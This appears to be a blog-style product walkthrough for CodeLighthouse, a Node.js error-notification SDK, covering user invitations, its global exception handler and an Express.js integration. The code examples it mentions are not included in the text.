Inviting Users

We designed CodeLighthouse with the complexity of distributed agile teams in mind, so collaboration is a key design feature. You can invite additional users to your CodeLighthouse organization via the user management page. Once they accept the invitation, you can choose to send error notifications for the application to them by specifying their email address in default_email instead. Users in your organization can log in and configure their notification settings and view errors in the error feed.

Once you've got the SDK imported into your code, you have a couple of options on how to use it:

The Global Exception Handler

The global exception handler can be disabled by passing the keyword argument enable_global_handler=false to the SDK configuration.

It's important to note that this might not always behave as expected if you're using frameworks like Express.js since they often implicitly provide their own error handlers. For example, Express will catch exceptions inside of routes and handle them before they reach our global exception handler. Fortunately, we have a solution.

CodeLighthouse's Express.js integration

I personally love Express.js, and I'm not the only one - 73% of Node.js developers use it. Its overwhelming popularity made supporting it an easy call. We've made it easy to report application errors that happen inside your Express app:

Manually catching exceptions

As the example demonstrates, you can either send notifications to the default user specified in the SDK, or to another user in your CodeLighthouse organization. You can view and invite additional users to your CodeLighthouse organization on the user management page in your dashboard.

Still want to know more?

I look forward to hearing what y'all think in the comments below!